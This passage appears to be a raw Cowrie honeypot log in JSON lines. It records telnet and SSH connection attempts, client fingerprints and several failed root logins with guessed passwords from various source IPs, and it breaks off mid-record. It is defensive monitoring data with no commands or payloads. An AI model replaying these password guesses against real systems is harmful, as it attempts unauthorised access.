{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":47748,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b420b09c25","protocol":"telnet","message":"New connection: 152.42.224.71:47748 (10.17.0.5:23) [session: a5b420b09c25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:50.333179Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":41406,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eb29f1b1efb","protocol":"ssh","message":"New connection: 103.77.242.62:41406 (159.203.135.109:22) [session: 3eb29f1b1efb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:59.294992Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:59.299957Z","src_ip":"103.77.242.62","session":"3eb29f1b1efb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:15:59.535951Z","src_ip":"103.77.242.62","session":"3eb29f1b1efb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"kristi","message":"login attempt [root/kristi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:00.243867Z","src_ip":"103.77.242.62","session":"3eb29f1b1efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:01.485064Z","src_ip":"103.77.242.62","session":"3eb29f1b1efb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.63020944595337,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:02.229378Z","src_ip":"128.199.8.54","session":"c446496c4223","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":51.5874285697937,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:14.778011Z","src_ip":"152.42.224.71","session":"fef2a6250e9c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"133.205.53.190","src_port":63554,"dst_ip":"10.17.0.5","dst_port":23,"session":"a362578d2f79","protocol":"telnet","message":"New connection: 133.205.53.190:63554 (10.17.0.5:23) [session: a362578d2f79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:17.569340Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45182,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1e9ce6749ee","protocol":"telnet","message":"New connection: 152.42.224.71:45182 (10.17.0.5:23) [session: b1e9ce6749ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:27.923906Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45190,"dst_ip":"10.17.0.5","dst_port":23,"session":"e703d683f974","protocol":"telnet","message":"New connection: 152.42.224.71:45190 (10.17.0.5:23) [session: e703d683f974]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:29.246169Z"}
{"eventid":"cowrie.session.closed","duration":40.79090881347656,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:31.123963Z","src_ip":"152.42.224.71","session":"a5b420b09c25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49176,"dst_ip":"10.17.0.5","dst_port":23,"session":"9f3cf36bf364","protocol":"telnet","message":"New connection: 152.42.224.71:49176 (10.17.0.5:23) [session: 9f3cf36bf364]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:40.362556Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49182,"dst_ip":"10.17.0.5","dst_port":23,"session":"19af24903566","protocol":"telnet","message":"New connection: 152.42.224.71:49182 (10.17.0.5:23) [session: 19af24903566]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:40.817481Z"}
{"eventid":"cowrie.session.closed","duration":30.60142731666565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:16:48.170658Z","src_ip":"133.205.53.190","session":"a362578d2f79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38238,"dst_ip":"10.17.0.5","dst_port":23,"session":"f1fc52b7fc88","protocol":"telnet","message":"New connection: 152.42.224.71:38238 (10.17.0.5:23) [session: f1fc52b7fc88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:00.634833Z"}
{"eventid":"cowrie.session.closed","duration":27.916361331939697,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:08.278805Z","src_ip":"152.42.224.71","session":"9f3cf36bf364","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.19837975502014,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:13.444430Z","src_ip":"152.42.224.71","session":"e703d683f974","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.63831901550293,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:13.562087Z","src_ip":"152.42.224.71","session":"b1e9ce6749ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":48152,"dst_ip":"159.203.135.109","dst_port":22,"session":"7480d52d6c22","protocol":"ssh","message":"New connection: 103.27.238.114:48152 (159.203.135.109:22) [session: 7480d52d6c22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:18.937354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:18.945979Z","src_ip":"103.27.238.114","session":"7480d52d6c22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:19.207491Z","src_ip":"103.27.238.114","session":"7480d52d6c22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcdef","message":"login attempt [root/abcdef] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:19.994097Z","src_ip":"103.27.238.114","session":"7480d52d6c22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:21.260021Z","src_ip":"103.27.238.114","session":"7480d52d6c22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.105.79.95","src_port":42306,"dst_ip":"159.203.135.109","dst_port":23,"session":"177811a7b440","protocol":"telnet","message":"New connection: 85.105.79.95:42306 (159.203.135.109:23) [session: 177811a7b440]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:29.485568Z"}
{"eventid":"cowrie.session.closed","duration":29.017295122146606,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:29.651995Z","src_ip":"152.42.224.71","session":"f1fc52b7fc88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59870,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6e48078b15d","protocol":"telnet","message":"New connection: 152.42.224.71:59870 (10.17.0.5:23) [session: e6e48078b15d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:30.903149Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59882,"dst_ip":"10.17.0.5","dst_port":23,"session":"169a5eeef110","protocol":"telnet","message":"New connection: 152.42.224.71:59882 (10.17.0.5:23) [session: 169a5eeef110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:32.560554Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59884,"dst_ip":"10.17.0.5","dst_port":23,"session":"ded2ea3be003","protocol":"telnet","message":"New connection: 152.42.224.71:59884 (10.17.0.5:23) [session: ded2ea3be003]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:32.810664Z"}
{"eventid":"cowrie.session.closed","duration":57.87713265419006,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:38.694489Z","src_ip":"152.42.224.71","session":"19af24903566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45788,"dst_ip":"10.17.0.5","dst_port":23,"session":"eccdf4acc0e8","protocol":"telnet","message":"New connection: 152.42.224.71:45788 (10.17.0.5:23) [session: eccdf4acc0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:41.258079Z"}
{"eventid":"cowrie.session.closed","duration":13.139016389846802,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:42.624468Z","src_ip":"85.105.79.95","session":"177811a7b440","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":45796,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9127ff94cb4","protocol":"telnet","message":"New connection: 152.42.224.71:45796 (10.17.0.5:23) [session: c9127ff94cb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:45.008833Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":38280,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b2f4d2c2e9c","protocol":"ssh","message":"New connection: 80.94.92.171:38280 (10.17.0.5:22) [session: 7b2f4d2c2e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:46.749502Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:46.859531Z","src_ip":"80.94.92.171","session":"7b2f4d2c2e9c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38288,"dst_ip":"10.17.0.5","dst_port":23,"session":"3ae967cc187e","protocol":"telnet","message":"New connection: 152.42.224.71:38288 (10.17.0.5:23) [session: 3ae967cc187e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:48.945356Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38296,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2eeb031fbc7","protocol":"telnet","message":"New connection: 152.42.224.71:38296 (10.17.0.5:23) [session: e2eeb031fbc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:49.869980Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38306,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6f9e6b3e88c","protocol":"telnet","message":"New connection: 152.42.224.71:38306 (10.17.0.5:23) [session: a6f9e6b3e88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:54.927019Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38322,"dst_ip":"10.17.0.5","dst_port":23,"session":"76eaa4436375","protocol":"telnet","message":"New connection: 152.42.224.71:38322 (10.17.0.5:23) [session: 76eaa4436375]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:55.459121Z"}
{"eventid":"cowrie.session.closed","duration":15.413893938064575,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:17:56.671894Z","src_ip":"152.42.224.71","session":"eccdf4acc0e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":36714,"dst_ip":"10.17.0.5","dst_port":23,"session":"be80b44c3361","protocol":"telnet","message":"New connection: 152.42.224.71:36714 (10.17.0.5:23) [session: be80b44c3361]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:09.157963Z"}
{"eventid":"cowrie.session.closed","duration":42.520941734313965,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:13.423975Z","src_ip":"152.42.224.71","session":"e6e48078b15d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.95857620239258,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:19.518984Z","src_ip":"152.42.224.71","session":"169a5eeef110","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.7925488948822,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:20.603122Z","src_ip":"152.42.224.71","session":"ded2ea3be003","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.82.132.16","src_port":37806,"dst_ip":"10.17.0.5","dst_port":22,"session":"860cd0e0d65f","protocol":"ssh","message":"New connection: 103.82.132.16:37806 (10.17.0.5:22) [session: 860cd0e0d65f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:23.032192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:23.036023Z","src_ip":"103.82.132.16","session":"860cd0e0d65f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:23.293596Z","src_ip":"103.82.132.16","session":"860cd0e0d65f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cxzdsaewq","message":"login attempt [root/cxzdsaewq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:24.068627Z","src_ip":"103.82.132.16","session":"860cd0e0d65f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:25.327947Z","src_ip":"103.82.132.16","session":"860cd0e0d65f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":17472,"dst_ip":"159.203.135.109","dst_port":22,"session":"b85104fbbe29","protocol":"ssh","message":"New connection: 38.93.206.2:17472 (159.203.135.109:22) [session: b85104fbbe29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:28.355364Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:28.359320Z","src_ip":"38.93.206.2","session":"b85104fbbe29","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:28.409522Z","src_ip":"38.93.206.2","session":"b85104fbbe29","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12345n","message":"login attempt [root/12345n] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:28.593216Z","src_ip":"38.93.206.2","session":"b85104fbbe29","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.50837302207947,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:29.517074Z","src_ip":"152.42.224.71","session":"c9127ff94cb4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:29.645619Z","src_ip":"38.93.206.2","session":"b85104fbbe29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.42.184.185","src_port":53612,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ed5f3df191d","protocol":"ssh","message":"New connection: 31.42.184.185:53612 (10.17.0.5:22) [session: 7ed5f3df191d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:31.099663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T10:18:31.103838Z","src_ip":"31.42.184.185","session":"7ed5f3df191d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128